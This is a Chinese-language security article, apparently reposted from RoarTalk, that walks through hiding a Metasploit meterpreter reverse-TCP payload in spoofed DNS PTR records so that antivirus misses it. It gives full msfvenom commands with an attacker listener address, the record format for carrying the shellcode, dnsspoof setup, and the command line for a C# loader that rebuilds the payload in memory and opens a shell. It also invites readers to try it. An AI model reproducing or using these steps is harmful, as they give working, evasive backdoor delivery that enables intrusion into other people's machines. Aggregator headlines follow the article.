當前位置:
首頁 > 新聞 > 通過DNS通信繞過殺毒軟體進行木馬傳輸

通過DNS通信繞過殺毒軟體進行木馬傳輸

工具源碼:https://github.com/DamonMohammadbagher/NativePayload_DNS


在這種技術中,我想通過DNS協議將我的後門木馬從攻擊者計算機種植在客戶端計算機上面,因此在這種情況下,我們需要一個沒有硬編碼的木馬或加密有效的後門代碼。因為通過DNS傳輸,所以被殺毒軟體發現的幾率特別小。


為什麼通過DNS傳輸不容易被發現呢?

因為在大部分的網路環境中,DNS通信內容不需要被硬體防火牆或者IPS/IDS等防火牆進行監控。我知道您可以使用像Snort IPS/IDS這樣的設備檢查DNS通信內容,不過在DNS中通過簽名來防禦新的木馬是非常困難的,除非網路管理員親自查看。


在這篇文章中,我想給你展示一下在網路環境中如何通過DNS請求或者響應來隱藏你的後門木馬。


這種攻擊的突破點在哪?


當你想使用後門木馬,你往往需要通過一些協議(HTTP,DNS等等)將後門從你的主機傳輸到目標主機。在這種攻擊方法中,我們想通過DNS通信對木馬進行傳輸,並且在目標內存執行木馬。所以攻擊的突破點是:我們傳輸木馬所在的位置,以及殺毒軟體是如何進行檢測的。所以,我們不會把木馬放到文件系統中,而是在網路通信以及內存中,所以殺毒軟體不會查殺。

不幸的是,網路流量監控以及內存監控在防禦惡意代碼這一方面並不能很好的進行,或者說不是每時每刻都在工作,也可能不具有IPS/IDS功能。舉個例子:DNS區域中帶有PTR記錄以及A記錄的後門。

通過DNS通信繞過殺毒軟體進行木馬傳輸



你可以看到在圖片的前兩行是PTR記錄的meterpreter的後門代碼。接下來兩行PTR記錄以及下一行的A記錄是為後門代碼重連設置時間。


如果您想繞過基於防火牆或IPS/IDS的網路DNS流量的木馬檢測,一個好的方法是將你的木馬代碼分解為具有相同類型(如PTR或其他類型)的DNS記錄;另一種方法可以對你的木馬進行加密,然後使用這些協議。當然選擇哪一種方法取決於網路環境以及你的一些習慣。

你可以看到,在上圖中,我將第一行的meterpreter代碼拆分成了5個記錄,因此這些記錄存在的payload等於在1.1.1.0中的payload。如:


1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0


這就意味著對1.0.1.x你有5次DNS請求,然後五條DNS響應等同於請求一次1.1.1.0的響應。在客戶端,你可以通過很多的工具從偽造的DNS伺服器獲取這些信息,但是我想使用NSLOOKUP命令通過後門獲取,因為我覺得這很簡單。如下圖,我正在嘗試使用nslookup從偽造的DNS伺服器傳輸惡意代碼到服務端。

通過DNS通信繞過殺毒軟體進行木馬傳輸


最後我使用NativePayload_DNS.exe執行這些payload,並且通過DNS通信獲得了meterpreter的session。


0x01 偽造DNS伺服器


在這個步驟中,你可以使用msfvenom生成meterpreter後門代碼,然後將這些後門代碼逐行複製到dns.txt中,然後在kali中通過DNSSpoof使用dns.txt偽造DNS伺服器。


在我傳輸之前,我先說明一下通過msfvenom產生的exe可執行文件可以被絕大部分殺毒軟體查殺。為什麼我要先生成exe實驗一下呢?

因為我想說明一下這種攻擊方式不容易被殺毒軟體發現。使用相同的payload一個產生exe一個通過DNS傳輸,你可以發現exe基本被殺毒軟體所查殺,而通過DNS傳輸殺毒軟體則發現不了。第一種方法,生成exe文件:


msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f exe > /root/Desktop/payload.exe


在下圖,你可以看到,我生成的木馬被11個殺毒軟體所查殺。

通過DNS通信繞過殺毒軟體進行木馬傳輸



對於第二種方法,你應該選擇的文件類型是:c。第二種方法,通過DNS傳輸:


msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f c > /root/Desktop/payload.txt


將payload.txt中的文件一行一行的複製到dns.txt中。下面介紹如何進行複製:


這一步對攻擊來說非常重要。因為我們想通過DNS將這個文件進行傳輸。所以你的格式應該與下面代碼形式相同:


Ipaddress 「.domain.com」1.1.1.0 「0xfc0x480x830xe40xf00xe8.1.com」1.1.1.1 「0xbc0xc80x130xff0x100x08.1.com」


在這個案例中,因為我在我C#後門中設置的域名格式為「1.com」,所以我們應該在傳輸過程中使用這個域名或者一些其他的域名比如:"2.com","3.net","t.com",或者使用一個字元+".com"作為域名。"1.1.1.x"中的x是從0到dns.txt裡面的行數的遞增數,最後產生如下圖:


1.1.1.0 --> payload.txt的第0行 --> 「.1.com」1.1.1.1 --> payload.txt的第1行 --> 「.1.com」1.1.1.2 --> payload.txt的第2行 --> 「.1.com」

通過DNS通信繞過殺毒軟體進行木馬傳輸



接下來就是產生dns.txt,如下圖:

通過DNS通信繞過殺毒軟體進行木馬傳輸



現在,你可以在linux中使用dnsspoof工具進行DNS欺騙:如下:

通過DNS通信繞過殺毒軟體進行木馬傳輸



在第二個步驟中,我們需要一個後門對我們進行DNS傳輸的木馬進行下載。所以我使用C#實現了這個功能,並且在我的代碼中我使用nslookup.exe發送DNS請求,最後在DNS通信中得到我們傳輸的木馬。


c#工具源碼:https://github.com/DamonMohammadbagher/NativePayload_DNS


0x02 傳輸木馬並攻擊


編譯完成上面的程序之後你會得到一個exe可執行文件,你可以在命令行中加上如下的參數使用它:


NativePayload_DNS.exe 「Start_IpAddress」 Counter 「FakeDNSServer_IpAddress」Example: C:> NativePayload_DNS.exe 1.1.1. 34 192.168.1.50


1. Start_Ipaddress(開始Ip地址):你的PTR記錄的前三位,所以這個案例中使用的是」1.1.1」


2. Counter(數量):DNS中的PTR記錄的數量。這個案例中,在DNS.txt中ip是從1.1.1.0到1.1.1.33所以這個數字是34。.


3. FakeDNSServer_IpAddress(偽造的dns伺服器地址):dns伺服器的地址,或者攻擊者偽造的dns伺服器地址。所以現在我們使用192.168.1.50(kali)


在我們執行這個後門之前,在kali(192.168.1.50)中應該啟動Msf的監聽。


通過命令


NativePayload_DNS.exe 1.1.1. 34 192.168.1.50


現在執行後門程序,如下圖:

通過DNS通信繞過殺毒軟體進行木馬傳輸



你可以發現後門程序正在對1.1.1.x發送DNS請求,並且得到了PTR或者FQDN響應。


下圖你可以看到偽造DNS服務端與客戶端之間進行的通信。

通過DNS通信繞過殺毒軟體進行木馬傳輸



經過34次的請求,攻擊方已經獲得了meterpreter的session,並且殺毒軟體並沒有察覺。

通過DNS通信繞過殺毒軟體進行木馬傳輸



你可以看到我又一次成功的繞過了殺毒軟體,下圖是我對我的源代碼進行的掃描,沒有一個殺毒軟體報毒。所以你可以對比一下對生成exe進行掃描的結果。

通過DNS通信繞過殺毒軟體進行木馬傳輸



在下圖中,你可以看到C#源碼是如何與nslookup進行工作的。

通過DNS通信繞過殺毒軟體進行木馬傳輸



最後,你可以看到我的meterpreter在tcpview工具以及putty工具呈現。

通過DNS通信繞過殺毒軟體進行木馬傳輸


通過DNS通信繞過殺毒軟體進行木馬傳輸



顯然:你不能總是相信你的殺毒軟體可以防禦各種攻擊比如將木馬轉移到各種網路協議當中,你的網路還有客戶端都是很容易被攻擊的。所以,不妨在你的環境中嘗試一下這種方法,通過分享你的經歷。(也許有些地方我出了問題,或者解釋不對,所以歡迎指出)

通過DNS通信繞過殺毒軟體進行木馬傳輸



喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

Docs.com用戶請注意!你的密碼可能已經泄露了
HEVD 內核攻擊:漏洞攻擊的完全實現及SMEP繞過(四)
iOS10.3中Safari scareware漏洞已被徹底修復
數據泄漏報告:2016年共泄露14億條數據

TAG:嘶吼RoarTalk |

您可能感興趣

通過聯合療法對KRAS 腫瘤進行靶向治療
導彈可以通過地下鐵路和軌道進行運輸
分析無線遙控器信號並製作Hack硬體進行攻擊
NSA使用「流量整形「技術進行全球無國界網路監控
將黑科技和便攜進行到底——鐵三角的無線頭戴大耳機DSR7BT開箱+試用體驗
第一個無電池的手機 通過收集環境電源進行通話
將黑科技進行到底:鐵三角無線大耳機DSR7BT開箱+試用體驗
銀行木馬利用VMvare進行傳播
非洲豺狗會通過打噴嚏來進行投票
使用zANTI進行滲透測試
美國銀行嘗試通過VR進行業務營銷活動
可進行遠程操控 瑞典公司發布T-pod電動汽車 T
Google將允許名人通過搜索結果直接與粉絲進行交流
軟銀將與中興聯合進行5G通信技術外場測試
神奇,納米粒子可攜帶藥物通過鼻腔進入大腦進行給葯
NSA承認已對政府機構使用卡巴斯基軟體進行審查
VR裝修設計軟體搶灘建博會 房盒子將體驗式營銷進行到底
慘絕人寰!ISIS被曝進行人體實驗
IS恐怖組織進行自殺襲擊的「鐵甲怪獸」曝光!